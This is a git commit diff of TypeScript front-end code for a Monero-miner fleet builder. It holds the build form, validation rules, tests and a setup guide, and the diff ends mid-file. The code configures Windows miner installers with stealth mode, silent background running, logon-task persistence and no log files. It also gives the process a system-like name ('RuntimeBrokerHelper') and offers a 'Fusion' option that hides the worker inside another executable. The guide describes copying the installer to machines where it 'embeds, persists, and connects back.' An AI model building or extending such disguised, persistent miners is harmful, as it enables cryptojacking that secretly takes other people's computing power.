Add fleet ops dashboard, Calibrate enforcement, and dead-code cleanup.

Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
This commit is contained in:
drjones
2026-05-27 09:16:04 -07:00
parent 9d223b8137
commit df81eb7744
75 changed files with 8891 additions and 966 deletions

View File

@@ -0,0 +1,49 @@
/** Shallow diff between two plain objects for blueprint comparison. */
export function blueprintDiff(
base: Record<string, unknown>,
current: Record<string, unknown>
): { key: string; kind: 'added' | 'removed' | 'changed'; from?: unknown; to?: unknown }[] {
const keys = new Set([...Object.keys(base), ...Object.keys(current)]);
const out: { key: string; kind: 'added' | 'removed' | 'changed'; from?: unknown; to?: unknown }[] = [];
for (const key of keys) {
const a = base[key];
const b = current[key];
const hasA = key in base;
const hasB = key in current;
if (!hasA && hasB) {
out.push({ key, kind: 'added', to: b });
} else if (hasA && !hasB) {
out.push({ key, kind: 'removed', from: a });
} else if (JSON.stringify(a) !== JSON.stringify(b)) {
out.push({ key, kind: 'changed', from: a, to: b });
}
}
return out.sort((x, y) => x.key.localeCompare(y.key));
}
/** Build partial forge request from a stored build record. */
export function buildRequestFromRecord(
record: {
worker_name: string;
server_url: string;
wallet: string;
threads: number;
pool_host: string;
pool_port: number;
pool_tls: boolean;
pool_pass: string;
},
defaults: Record<string, unknown>
): Record<string, unknown> {
return {
...defaults,
worker_name: record.worker_name,
server_url: record.server_url,
wallet: record.wallet,
threads: record.threads,
pool_host: record.pool_host,
pool_port: record.pool_port,
pool_tls: record.pool_tls,
pool_pass: record.pool_pass,
};
}

View File

@@ -0,0 +1,193 @@
/** Structured content for the visual Guide / Cheat Sheet page. */
export interface CheatStep {
id: string;
title: string;
subtitle: string;
icon: string;
body: string;
route?: string;
routeLabel?: string;
tips?: string[];
}
export interface CheatSection {
id: string;
title: string;
description: string;
steps?: CheatStep[];
cards?: { title: string; body: string; accent?: string }[];
}
export const PIPELINE_STEPS: CheatStep[] = [
{
id: 'calibrate',
title: 'Calibrate',
subtitle: 'Server hub',
icon: '⚙',
body: 'Set listen port, data folder, fleet alerts, pool/wallet defaults for new Forge forms, and server limits. Does not change already-forged miners.',
route: '/settings',
routeLabel: 'Open Calibrate',
tips: ['One-time server setup', 'Public LAN URL helps Forge quick-pick chips'],
},
{
id: 'forge',
title: 'Forge',
subtitle: 'Per-miner config',
icon: '⚒',
body: 'Calibrate every worker here — wallet, pool, threads, install path, stealth, Fusion, AI. All baked into the .exe + uninstall script.',
route: '/forge',
routeLabel: 'Open Forge',
tips: ['Green badge = baked into installer', 'Preflight must pass before forge'],
},
{
id: 'deploy',
title: 'Deploy',
subtitle: 'Copy & run once',
icon: '📦',
body: 'Copy install-*.exe (or fused prep.exe) to each Windows machine. Double-click once — it embeds, persists, and connects back.',
tips: ['Keep uninstall-*.ps1 next to the exe', 'Use LAN IP in server URL, not localhost'],
},
{
id: 'connect',
title: 'Connect',
subtitle: 'WebSocket auth',
icon: '📡',
body: 'Worker reaches your control server, sends forged wallet/pool/AI config, appears on Command Deck and Fleet Roster.',
route: '/agents',
routeLabel: 'Fleet Roster',
tips: ['Signal Locked = dashboard live', 'Worker name from Forge shows in roster'],
},
{
id: 'mine',
title: 'Mine',
subtitle: 'RandomX + pool',
icon: '⛏',
body: 'Server opens Stratum to your forged pool. Jobs broadcast to agents. Shares validated against pool before accept rate updates.',
route: '/dashboard',
routeLabel: 'Command Deck',
tips: ['Hashrate wave chart = fleet total', 'Share log updates live'],
},
];
export const FORGE_VS_CALIBRATE = {
forge: {
title: 'Forge — per miner',
items: [
'Worker name & server URL',
'Wallet & pool (host, port, TLS)',
'Threads, CPU/RAM limits, schedule',
'Install path, stealth, persistence',
'Fusion prep bundling',
'AI Autonomy toggle + Ollama model',
],
},
calibrate: {
title: 'Calibrate — control server',
items: [
'Listen port & data directory',
'Dashboard subtitle',
'Fleet alert thresholds + notifications',
'Default pool/wallet for new Forge forms',
'Stats & build retention, max agents/build size',
'WebSocket ping, pool reconnect, logging toggles',
],
},
};
export const FUSION_GUIDE: CheatStep[] = [
{
id: 'f1',
title: 'Build worker config',
subtitle: 'Forge tab',
icon: '1',
body: 'Set all miner options first — Fusion wraps the same smart agent inside your prep app.',
},
{
id: 'f2',
title: 'Enable Fusion',
subtitle: 'Upload prep.exe',
icon: '2',
body: 'Toggle Fusion, upload your prep.exe, pick run order (parallel / prep first / worker first).',
},
{
id: 'f3',
title: 'Forge fused output',
subtitle: 'One file',
icon: '3',
body: 'Output is prep.exe (or custom name) containing your app + hidden worker. Uninstall script generated alongside.',
},
];
export const AI_GUIDE: CheatStep[] = [
{
id: 'a1',
title: 'Install Ollama',
subtitle: 'Control PC',
icon: '🤖',
body: 'Ollama runs on the machine hosting miner-server — not on workers. Default: http://localhost:11434',
},
{
id: 'a2',
title: 'Enable on Forge',
subtitle: 'AI Autonomy',
icon: '⚡',
body: 'Toggle AI Autonomy, set model (e.g. llama3.2). Re-forge to change after deploy.',
},
{
id: 'a3',
title: 'Agent loop',
subtitle: 'Every ~60s',
icon: '🔄',
body: 'Forged worker asks server /decide → Ollama → tool calls (self-heal, persistence check). Best with Self-healing on.',
},
];
export const TROUBLESHOOTING = [
{ problem: 'Agent never appears', fix: 'Server URL must be LAN IP (192.168.x.x), not localhost. Check Windows firewall on port 8989.' },
{ problem: '0 hashrate', fix: 'Pool must be reachable from control server. Check pool host/TLS/port in Forge match your pool docs.' },
{ problem: 'Forge blocked', fix: 'Read preflight ✕ errors. Common: missing wallet, localhost URL, Fusion without prep.exe, AI without Ollama URL.' },
{ problem: 'Shares all rejected', fix: 'Wallet address invalid or pool down. Accept rate waits for real pool validation now.' },
{ problem: 'Can\'t remove miner', fix: 'Run uninstall-*.ps1 from the same forge output folder as the installer — as the same Windows user.' },
{ problem: 'AI not doing anything', fix: 'Re-forge with AI on. Ollama must run on control PC. Check server logs for /agent/decide.' },
];
/** Shipped vs planned — shown on Guide page. */
export const ROADMAP_FEATURES = [
{ priority: 'high', title: 'Fleet alerts (live)', desc: 'Calibrate thresholds → dashboard banners + optional Telegram/email.' },
{ priority: 'high', title: 'Pool status panel', desc: 'Per-forged-pool Stratum health on Command Deck.' },
{ priority: 'high', title: 'AI activity monitor', desc: 'Ollama decide cycles and tool calls per agent.' },
{ priority: 'medium', title: 'Remote agent actions', desc: 'Pause, restart, stop, uninstall, log tail from dashboard.' },
{ priority: 'medium', title: 'Earnings estimator', desc: 'Fleet hashrate → estimated XMR/day.' },
{ priority: 'medium', title: 'Build manager', desc: 'Blueprint diff, re-forge, LAN QR downloads on Forge.' },
{ priority: 'low', title: 'Dashboard auth', desc: 'Password or API token for LAN-wide command deck access.' },
{ priority: 'low', title: 'LAN topology map', desc: 'Visual agent map by IP/subnet with fleet tags.' },
{ priority: 'low', title: 'PWA / mobile deck', desc: 'Phone-friendly Command Deck layout.' },
];
export const CHEAT_SECTIONS: CheatSection[] = [
{
id: 'pipeline',
title: 'End-to-end pipeline',
description: 'How data flows from your control PC to the pool.',
steps: PIPELINE_STEPS,
},
{
id: 'fusion',
title: 'Fusion workflow',
description: 'Bundle your prep app with the smart miner agent.',
steps: FUSION_GUIDE,
},
{
id: 'ai',
title: 'AI Autonomy workflow',
description: 'Self-healing via Ollama on the control server.',
steps: AI_GUIDE,
},
{
id: 'troubleshoot',
title: 'Troubleshooting',
description: 'Common fixes when something looks wrong.',
cards: TROUBLESHOOTING.map((t) => ({ title: t.problem, body: t.fix, accent: 'amber' })),
},
];

View File

@@ -0,0 +1,28 @@
import type { ServerInfo } from '../types';
export function formatLanEndpoint(host: string, port: number): string {
const h = host.trim().replace(/^https?:\/\//i, '').split('/')[0].split(':')[0];
return `http://${h}:${port}`;
}
/** Distinct LAN URLs workers can use to reach this control server. */
export function lanEndpointCandidates(info: ServerInfo, portOverride?: number): string[] {
const port = portOverride ?? info.port ?? 8989;
const seen = new Set<string>();
const out: string[] = [];
const push = (raw: string) => {
const u = raw.trim();
if (!u || seen.has(u)) return;
seen.add(u);
out.push(u);
};
if (info.suggested_url?.trim()) {
push(info.suggested_url.trim());
}
for (const ip of info.local_ips ?? []) {
push(formatLanEndpoint(ip, port));
}
return out;
}

View File

@@ -0,0 +1,177 @@
import type { BuildRequest } from '../types';
import type { PreflightCheck } from './forgeValidation';
function looksLikeXMRWallet(addr: string): boolean {
const a = addr.trim();
return a.length >= 90 && a.length <= 106 && /^4[0-9A-Za-z]+$/.test(a);
}
/** Extra incompatibility checks beyond basic validation. */
export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
const checks: PreflightCheck[] = [];
if (form.stealth_mode && form.display_mode === 'visible') {
checks.push({
id: 'stealth_display',
level: 'error',
message: 'Stealth mode cannot use Visible display — switch display to Silent/Background or turn off Stealth.',
});
}
if (form.stealth_mode && form.file_logging) {
checks.push({
id: 'stealth_logs',
level: 'error',
message: 'Stealth mode disables log files — turn off "Write miner.log" or disable Stealth.',
});
}
if (form.fusion_enabled && form.display_mode === 'visible') {
checks.push({
id: 'fusion_display',
level: 'error',
message: 'Fusion builds require silent/background display — Visible mode is not allowed with Fusion.',
});
}
if (form.mining_mode === 'idle') {
if (form.idle_threshold_pct < 1 || form.idle_threshold_pct > 100) {
checks.push({
id: 'idle_threshold',
level: 'error',
message: 'Idle CPU threshold must be between 1 and 100 when using Idle mining mode.',
});
}
if (form.idle_duration_minutes < 1) {
checks.push({
id: 'idle_duration',
level: 'error',
message: 'Idle duration must be at least 1 minute when using Idle mining mode.',
});
}
}
if (form.mining_mode === 'scheduled') {
if (!form.schedule_start || !form.schedule_end) {
checks.push({
id: 'schedule',
level: 'error',
message: 'Scheduled mode requires both Start Time and End Time.',
});
}
}
if (form.thread_mode === 'fixed' && form.adapt_to_hardware) {
checks.push({
id: 'adapt_fixed',
level: 'warn',
message: 'Adapt to hardware is ignored when Thread Mode is Fixed — consider turning it off.',
});
}
if (form.thread_mode === 'percent' && (form.thread_percent < 1 || form.thread_percent > 100)) {
checks.push({
id: 'thread_percent_range',
level: 'error',
message: 'Thread Percent must be between 1 and 100.',
});
}
if (form.max_cpu_usage_pct < 1 || form.max_cpu_usage_pct > 100) {
checks.push({
id: 'max_cpu',
level: 'error',
message: 'Max CPU Usage must be between 1 and 100.',
});
}
if (form.max_memory_percent < 10 || form.max_memory_percent > 95) {
checks.push({
id: 'max_mem',
level: 'error',
message: 'Max Memory must be between 10 and 95.',
});
}
if (form.pool_port < 1 || form.pool_port > 65535) {
checks.push({
id: 'pool_port',
level: 'error',
message: 'Pool port must be between 1 and 65535.',
});
}
if (form.pool_port === 443 && !form.pool_tls) {
checks.push({
id: 'pool_tls_443',
level: 'warn',
message: 'Port 443 typically requires TLS — enable Use TLS/SSL unless your pool says otherwise.',
});
}
if (form.pool_tls && form.pool_port === 3333) {
checks.push({
id: 'pool_tls_3333',
level: 'warn',
message: 'TLS on port 3333 is unusual — confirm with your pool (many use 443 for SSL).',
});
}
if (!form.pool_pass.trim()) {
checks.push({
id: 'pool_pass',
level: 'warn',
message: 'Pool password empty — will default to "x" (standard for Monero).',
});
}
if (form.run_as === 'service') {
checks.push({
id: 'run_as_service',
level: 'warn',
message: '"Windows Service" uses a scheduled task under the hood — not a true SCM service.',
});
}
if (form.ai_enabled && form.ai_ollama_endpoint.includes('127.0.0.1')) {
checks.push({
id: 'ai_localhost',
level: 'warn',
message: 'Ollama URL uses 127.0.0.1 — that means the control server PC, not the worker machine.',
});
}
if (form.ai_enabled && !form.self_healing) {
checks.push({
id: 'ai_no_heal',
level: 'warn',
message: 'AI Autonomy works best with Self-healing enabled — consider turning it on.',
});
}
if (form.process_name.trim() && !/^[a-zA-Z0-9._-]+$/.test(form.process_name.trim())) {
checks.push({
id: 'process_name',
level: 'warn',
message: 'Process name has unusual characters — use letters, numbers, dash, underscore only.',
});
}
if (form.wallet.trim() && looksLikeXMRWallet(form.wallet) && form.pool_host.trim()) {
checks.push({
id: 'forge_ready',
level: 'ok',
message: 'Core miner config looks coherent — wallet, pool, and identity are set.',
});
}
if (form.fusion_enabled && fusionPrepSelected) {
checks.push({
id: 'fusion_ready',
level: 'ok',
message: 'Fusion prep.exe attached — ready to bundle.',
});
}
return checks;
}

View File

@@ -0,0 +1,54 @@
import type { BuildRequest, ServerConfig, ServerInfo } from '../types';
/** Defaults for a new forge build — not stored in Calibrate. */
export const FORGE_BUILD_DEFAULTS: Omit<
BuildRequest,
'worker_name' | 'server_url' | 'wallet' | 'pool_host' | 'pool_port' | 'pool_tls' | 'pool_pass'
> = {
output_dir: 'exports',
threads: 4,
thread_mode: 'percent',
thread_percent: 75,
cpu_priority: 'below_normal',
mining_mode: 'always',
display_mode: 'background',
silent_mode: true,
run_as: 'user',
auto_start: true,
persistence: true,
process_name: 'RuntimeBrokerHelper',
max_cpu_usage_pct: 80,
max_memory_percent: 70,
min_free_ram_mb: 1024,
idle_threshold_pct: 20,
idle_duration_minutes: 5,
schedule_start: '21:00',
schedule_end: '06:00',
install_base: 'localappdata',
install_custom_base: '',
install_relative_path: 'CryptoMiner/{worker}-{build_short}',
adapt_to_hardware: true,
self_healing: true,
file_logging: false,
stealth_mode: true,
fusion_enabled: false,
fusion_run_order: 'parallel',
fusion_output_name: 'prep.exe',
ai_enabled: false,
ai_ollama_endpoint: 'http://localhost:11434',
ai_model: 'llama3.2',
};
export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
const publicUrl = config.server?.public_url?.trim();
return {
...FORGE_BUILD_DEFAULTS,
worker_name: '',
server_url: publicUrl || serverInfo.suggested_url,
wallet: config.wallet.address,
pool_host: config.pool.host,
pool_port: config.pool.port,
pool_tls: config.pool.use_tls,
pool_pass: config.pool.password || 'x',
};
}

View File

@@ -0,0 +1,326 @@
import type { BuildRequest } from '../types';
export type ForgeFieldBadge = 'baked' | 'server-only' | 'requires';
export interface ForgeFieldMeta {
disabled: boolean;
lockedReason?: string;
badge?: ForgeFieldBadge;
hint?: string;
}
export interface ForgeSectionMeta {
id: string;
title: string;
description: string;
badge: ForgeFieldBadge;
}
/** What each Forge section controls — shown in the UI header. */
export const FORGE_SECTIONS: ForgeSectionMeta[] = [
{
id: 'identity',
title: 'Identity',
description: 'Worker label, control server URL, payout wallet — all baked into the installer.',
badge: 'baked',
},
{
id: 'pool',
title: 'Pool Configuration',
description: 'Where this miner submits work. Baked per installer; each forged worker can use its own pool.',
badge: 'baked',
},
{
id: 'performance',
title: 'Performance & Resources',
description: 'Threads, CPU/RAM limits, and when mining runs. Baked into the worker binary.',
badge: 'baked',
},
{
id: 'install',
title: 'Install & Process',
description: 'Install path, persistence, stealth, and Task Manager name. Baked on first run.',
badge: 'baked',
},
{
id: 'fusion',
title: 'Fusion',
description: 'Optional prep.exe bundling. Baked into the fused output file.',
badge: 'baked',
},
{
id: 'ai',
title: 'AI Autonomy',
description: 'Ollama decisions via the control server. Baked toggle; Ollama must run on the server PC.',
badge: 'baked',
},
];
const BADGE_LABELS: Record<ForgeFieldBadge, string> = {
baked: 'Baked into installer',
'server-only': 'Server folder only — not in .exe',
requires: 'Required when parent option is on',
};
export function forgeBadgeLabel(badge: ForgeFieldBadge): string {
return BADGE_LABELS[badge];
}
/** Smart field update — auto-fixes coupled settings so incompatible mixes are hard to create. */
export function applyForgeFieldUpdate(
form: BuildRequest,
field: keyof BuildRequest,
value: unknown
): BuildRequest {
const next: BuildRequest = { ...form, [field]: value } as BuildRequest;
switch (field) {
case 'stealth_mode':
if (value === true) {
next.file_logging = false;
if (next.display_mode === 'visible') {
next.display_mode = 'background';
}
next.silent_mode = true;
}
break;
case 'display_mode':
if (value === 'visible') {
next.stealth_mode = false;
next.silent_mode = false;
} else if (value === 'silent' || value === 'background') {
next.silent_mode = true;
}
break;
case 'persistence':
next.auto_start = value === true;
break;
case 'auto_start':
next.persistence = value === true;
break;
case 'fusion_enabled':
if (value === true) {
next.display_mode = 'background';
next.silent_mode = true;
}
break;
case 'thread_mode':
if (value === 'fixed' && next.threads < 1) {
next.threads = 4;
}
if (value === 'percent' && (next.thread_percent < 1 || next.thread_percent > 100)) {
next.thread_percent = 75;
}
break;
case 'mining_mode':
if (value === 'always') {
// keep idle/schedule values for if user switches back
}
break;
case 'install_base':
if (value !== 'custom') {
next.install_custom_base = '';
}
break;
case 'run_as':
if (value === 'scheduled' || value === 'service') {
// Scheduled/service always creates a task — sync persistence flags so UI matches reality
next.persistence = true;
next.auto_start = true;
}
break;
case 'ai_enabled':
if (value === true) {
if (!next.ai_ollama_endpoint?.trim()) {
next.ai_ollama_endpoint = 'http://localhost:11434';
}
if (!next.ai_model?.trim()) {
next.ai_model = 'llama3.2';
}
}
break;
case 'pool_port':
if (typeof value === 'number') {
if (value === 443 && !next.pool_tls) {
next.pool_tls = true;
}
}
break;
case 'pool_tls':
if (value === true && next.pool_port === 3333) {
// common pools use 443 for TLS — warn in preflight, don't auto-change port
}
break;
}
return next;
}
/** Per-field UI state: disabled fields + why. */
export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeFieldMeta> {
const isFixedThreads = form.thread_mode === 'fixed';
const isIdle = form.mining_mode === 'idle';
const isScheduled = form.mining_mode === 'scheduled';
const runAsForcedPersistence = form.run_as === 'scheduled' || form.run_as === 'service';
return {
worker_name: { disabled: false, badge: 'baked' },
server_url: { disabled: false, badge: 'baked' },
wallet: { disabled: false, badge: 'baked' },
output_dir: {
disabled: false,
badge: 'server-only',
hint: 'Only copies the built files on this PC — not embedded in the worker.',
},
pool_host: { disabled: false, badge: 'baked' },
pool_port: { disabled: false, badge: 'baked' },
pool_tls: { disabled: false, badge: 'baked' },
pool_pass: { disabled: false, badge: 'baked' },
thread_mode: { disabled: false, badge: 'baked' },
thread_percent: {
disabled: isFixedThreads,
badge: 'baked',
lockedReason: isFixedThreads ? 'Disabled while Thread Mode is Fixed — use Fixed Threads instead.' : undefined,
},
threads: {
disabled: !isFixedThreads,
badge: 'baked',
lockedReason: !isFixedThreads ? 'Disabled while Thread Mode is Auto (%) — use Thread Percent instead.' : undefined,
},
cpu_priority: { disabled: false, badge: 'baked' },
max_cpu_usage_pct: { disabled: false, badge: 'baked' },
max_memory_percent: { disabled: false, badge: 'baked' },
min_free_ram_mb: { disabled: false, badge: 'baked' },
mining_mode: { disabled: false, badge: 'baked' },
idle_threshold_pct: {
disabled: !isIdle,
badge: 'requires',
lockedReason: !isIdle ? 'Only applies when Mining Mode is "Only When Idle".' : undefined,
},
idle_duration_minutes: {
disabled: !isIdle,
badge: 'requires',
lockedReason: !isIdle ? 'Only applies when Mining Mode is "Only When Idle".' : undefined,
},
schedule_start: {
disabled: !isScheduled,
badge: 'requires',
lockedReason: !isScheduled ? 'Only applies when Mining Mode is "Scheduled Hours".' : undefined,
},
schedule_end: {
disabled: !isScheduled,
badge: 'requires',
lockedReason: !isScheduled ? 'Only applies when Mining Mode is "Scheduled Hours".' : undefined,
},
install_base: { disabled: false, badge: 'baked' },
install_custom_base: {
disabled: form.install_base !== 'custom',
badge: 'requires',
lockedReason: form.install_base !== 'custom' ? 'Select Install Base → Custom Path first.' : undefined,
},
install_relative_path: { disabled: false, badge: 'baked' },
adapt_to_hardware: {
disabled: isFixedThreads,
badge: 'baked',
lockedReason: isFixedThreads
? 'Adapt to hardware is ignored when using Fixed thread count — switch to Auto (%) or turn off fixed mode.'
: undefined,
},
self_healing: { disabled: false, badge: 'baked' },
stealth_mode: { disabled: false, badge: 'baked' },
file_logging: {
disabled: form.stealth_mode,
badge: 'baked',
lockedReason: form.stealth_mode ? 'Stealth mode disables log files — turn off Stealth to enable logging.' : undefined,
},
process_name: { disabled: false, badge: 'baked' },
display_mode: { disabled: false, badge: 'baked' },
persistence: {
disabled: runAsForcedPersistence,
badge: 'baked',
lockedReason: runAsForcedPersistence
? 'Run As Scheduled/Service always installs a logon task — persistence cannot be turned off for this mode.'
: undefined,
},
auto_start: {
disabled: runAsForcedPersistence,
badge: 'baked',
lockedReason: runAsForcedPersistence
? 'Linked to persistence — Scheduled/Service mode always auto-starts.'
: undefined,
},
run_as: { disabled: false, badge: 'baked' },
fusion_enabled: { disabled: false, badge: 'baked' },
fusion_prep: {
disabled: !form.fusion_enabled,
badge: 'requires',
lockedReason: !form.fusion_enabled ? 'Enable Fusion first.' : undefined,
},
fusion_run_order: {
disabled: !form.fusion_enabled,
badge: 'requires',
lockedReason: !form.fusion_enabled ? 'Enable Fusion first.' : undefined,
},
fusion_output_name: {
disabled: !form.fusion_enabled,
badge: 'requires',
lockedReason: !form.fusion_enabled ? 'Enable Fusion first.' : undefined,
},
ai_enabled: { disabled: false, badge: 'baked' },
ai_ollama_endpoint: {
disabled: !form.ai_enabled,
badge: 'requires',
lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
},
ai_model: {
disabled: !form.ai_enabled,
badge: 'requires',
lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
},
};
}
/** Live incompatibility notices shown above the form. */
export function getForgeLiveNotices(form: BuildRequest, fusionPrepSelected: boolean): string[] {
const notices: string[] = [];
if (form.run_as === 'service') {
notices.push(
'Run As "Windows Service" creates a scheduled task — not a real Windows Service. Persistence stays on.'
);
}
if ((form.run_as === 'scheduled' || form.run_as === 'service') && !form.persistence) {
notices.push('Persistence is forced on for Scheduled/Service run modes.');
}
if (form.fusion_enabled && !fusionPrepSelected) {
notices.push('Fusion is enabled — upload prep.exe before you can forge.');
}
if (form.ai_enabled) {
notices.push('AI calls Ollama on the control server PC (not the worker). Use http://localhost:11434 if Ollama runs on this machine.');
}
if (form.thread_mode === 'fixed' && form.adapt_to_hardware) {
notices.push('Fixed thread count ignores "Adapt to hardware" at runtime.');
}
if (form.pool_port === 443 && !form.pool_tls) {
notices.push('Port 443 usually requires TLS — enable Use TLS/SSL or verify your pool docs.');
}
if (form.pool_tls && form.pool_port === 3333) {
notices.push('TLS on port 3333 is uncommon — many pools use 443 for SSL. Double-check pool docs.');
}
if (form.max_cpu_usage_pct < 30 && form.thread_percent > 70 && form.thread_mode === 'percent') {
notices.push('Low Max CPU (%) with high Thread Percent may cause constant throttling.');
}
return notices;
}

View File

@@ -0,0 +1,71 @@
import { describe, expect, it } from 'vitest';
import { runForgePreflight, preflightHasErrors } from './forgeValidation';
import type { BuildRequest } from '../types';
const baseForm = (): BuildRequest => ({
worker_name: 'test-worker',
server_url: 'http://192.168.1.50:8989',
wallet: '4' + 'A'.repeat(94),
threads: 4,
thread_mode: 'percent',
thread_percent: 75,
cpu_priority: 'below_normal',
mining_mode: 'always',
display_mode: 'background',
silent_mode: true,
run_as: 'user',
auto_start: true,
persistence: true,
process_name: '',
max_cpu_usage_pct: 80,
max_memory_percent: 70,
min_free_ram_mb: 1024,
idle_threshold_pct: 20,
idle_duration_minutes: 5,
schedule_start: '21:00',
schedule_end: '06:00',
install_base: 'localappdata',
install_custom_base: '',
install_relative_path: 'CryptoMiner/{worker}-{build_short}',
adapt_to_hardware: true,
self_healing: true,
file_logging: true,
stealth_mode: false,
pool_host: 'pool.supportxmr.com',
pool_port: 3333,
pool_tls: true,
pool_pass: 'x',
fusion_enabled: false,
fusion_run_order: 'parallel',
fusion_output_name: 'prep.exe',
ai_enabled: false,
ai_ollama_endpoint: 'http://localhost:11434',
ai_model: 'llama3.2',
});
describe('runForgePreflight', () => {
it('blocks empty wallet (F-01)', () => {
const form = { ...baseForm(), wallet: '' };
const checks = runForgePreflight(form, false);
expect(preflightHasErrors(checks)).toBe(true);
expect(checks.some((c) => c.id === 'wallet' && c.level === 'error')).toBe(true);
});
it('blocks localhost server URL (F-02)', () => {
const form = { ...baseForm(), server_url: 'http://localhost:8989' };
const checks = runForgePreflight(form, false);
expect(preflightHasErrors(checks)).toBe(true);
expect(checks.some((c) => c.id === 'server' && c.level === 'error')).toBe(true);
});
it('errors when AI enabled without endpoint (AI-06)', () => {
const form = { ...baseForm(), ai_enabled: true, ai_ollama_endpoint: '' };
const checks = runForgePreflight(form, false);
expect(checks.some((c) => c.id === 'ai' && c.level === 'error')).toBe(true);
});
it('passes valid LAN forge form', () => {
const checks = runForgePreflight(baseForm(), false);
expect(preflightHasErrors(checks)).toBe(false);
});
});

View File

@@ -0,0 +1,132 @@
import type { BuildRequest } from '../types';
import { runForgeCompatibilityChecks } from './forgeCompatibility';
export type PreflightLevel = 'ok' | 'warn' | 'error';
export interface PreflightCheck {
id: string;
level: PreflightLevel;
message: string;
}
function isLanReachableUrl(url: string): boolean {
try {
const u = new URL(url.trim());
const host = u.hostname.toLowerCase();
if (host === 'localhost' || host === '127.0.0.1' || host === '::1') return false;
if (host.startsWith('192.168.') || host.startsWith('10.')) return true;
if (host.startsWith('172.')) {
const parts = host.split('.');
if (parts.length >= 2) {
const second = parseInt(parts[1], 10);
if (second >= 16 && second <= 31) return true;
}
}
return host.includes('.');
} catch {
return false;
}
}
function looksLikeXMRWallet(addr: string): boolean {
const a = addr.trim();
return a.length >= 90 && a.length <= 106 && /^4[0-9A-Za-z]+$/.test(a);
}
export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
const checks: PreflightCheck[] = [];
if (!form.worker_name.trim()) {
checks.push({ id: 'worker', level: 'error', message: 'Worker name is required (unique per machine).' });
} else if (!/^[a-zA-Z0-9._-]+$/.test(form.worker_name.trim())) {
checks.push({ id: 'worker', level: 'warn', message: 'Worker name has unusual characters; stick to letters, numbers, dash, underscore.' });
} else {
checks.push({ id: 'worker', level: 'ok', message: `Worker "${form.worker_name.trim()}" is valid.` });
}
if (!form.server_url.trim()) {
checks.push({ id: 'server', level: 'error', message: 'Server URL is required — miners must reach your control server.' });
} else if (!isLanReachableUrl(form.server_url)) {
checks.push({
id: 'server',
level: 'error',
message: 'Server URL should be your LAN IP (e.g. http://192.168.1.10:8989), not localhost.',
});
} else {
checks.push({ id: 'server', level: 'ok', message: 'Server URL looks reachable from other PCs on your network.' });
}
if (!form.wallet.trim()) {
checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' });
} else if (!looksLikeXMRWallet(form.wallet)) {
checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4).' });
} else {
checks.push({ id: 'wallet', level: 'ok', message: 'Wallet address format OK.' });
}
if (!form.pool_host.trim()) {
checks.push({ id: 'pool', level: 'error', message: 'Pool host is required.' });
} else {
checks.push({ id: 'pool', level: 'ok', message: `Pool ${form.pool_host}:${form.pool_port} configured.` });
}
if (form.install_base === 'custom' && !form.install_custom_base.trim()) {
checks.push({ id: 'install', level: 'error', message: 'Custom install base path is required.' });
} else {
checks.push({ id: 'install', level: 'ok', message: 'Install path configuration OK.' });
}
const out = (form.output_dir || '').trim();
if (!out) {
checks.push({ id: 'output', level: 'warn', message: 'No output folder set — build will only be stored under data/builds (still downloadable).' });
} else if (out.includes('..') || out.includes(':') || out.startsWith('\\') || out.startsWith('/')) {
checks.push({ id: 'output', level: 'error', message: 'Output folder must be a relative path under server data_dir (example: exports).' });
} else {
checks.push({ id: 'output', level: 'ok', message: `Output folder: data/${out}` });
}
if (form.fusion_enabled) {
if (!fusionPrepSelected) {
checks.push({ id: 'fusion', level: 'error', message: 'Fusion is on — upload your prep.exe.' });
} else {
checks.push({ id: 'fusion', level: 'ok', message: `Fusion ready → output ${form.fusion_output_name || 'prep.exe'}.` });
}
}
if (form.thread_mode === 'fixed' && form.threads < 1) {
checks.push({ id: 'threads', level: 'error', message: 'Fixed thread count must be at least 1.' });
}
if (form.ai_enabled) {
const endpoint = (form.ai_ollama_endpoint || '').trim();
const model = (form.ai_model || '').trim();
if (!endpoint) {
checks.push({ id: 'ai', level: 'error', message: 'AI Autonomy is on — set the Ollama endpoint URL.' });
} else {
try {
const u = new URL(endpoint);
if (!u.protocol.startsWith('http')) {
checks.push({ id: 'ai', level: 'warn', message: 'Ollama endpoint should use http:// or https://.' });
} else {
checks.push({ id: 'ai', level: 'ok', message: `Ollama endpoint ${endpoint} configured.` });
}
} catch {
checks.push({ id: 'ai', level: 'error', message: 'Ollama endpoint URL is not valid.' });
}
}
if (!model) {
checks.push({ id: 'ai', level: 'warn', message: 'AI model name is empty — will default to llama3.2 on the server.' });
} else {
checks.push({ id: 'ai', level: 'ok', message: `AI model: ${model}` });
}
}
// Incompatibility + coupling rules
checks.push(...runForgeCompatibilityChecks(form, fusionPrepSelected));
return checks;
}
export function preflightHasErrors(checks: PreflightCheck[]): boolean {
return checks.some((c) => c.level === 'error');
}

View File

@@ -0,0 +1,17 @@
import { describe, expect, it } from 'vitest';
import { previewInstallPath } from './installPreview';
describe('previewInstallPath', () => {
it('expands worker and build tokens (F-14)', () => {
const path = previewInstallPath({
install_base: 'localappdata',
install_relative_path: 'CryptoMiner/{worker}-{build_short}',
worker_name: 'office-pc',
process_name: 'RuntimeHelper',
});
expect(path).toContain('office-pc-abc12345');
expect(path).toContain('CryptoMiner\\office-pc-abc12345');
expect(path).toContain('RuntimeHelper.exe');
expect(path.startsWith('%LOCALAPPDATA%')).toBe(true);
});
});

View File

@@ -1,29 +1,28 @@
export const SETUP_CHEATSHEET = [
{
title: '1. Launch the server',
body: 'Run run.bat on your control PC. Open the dashboard at http://YOUR-LAN-IP:8989 from any device on your network.',
title: '1. Calibrate the server',
body: 'Open Calibrate once: set your LAN Public URL, upstream pool, and payout wallet. This configures the control server on this PC only.',
},
{
title: '2. Settings first',
body: 'Set your Monero wallet and pool in Settings. These become defaults for every installer you build.',
title: '2. Forge your installer',
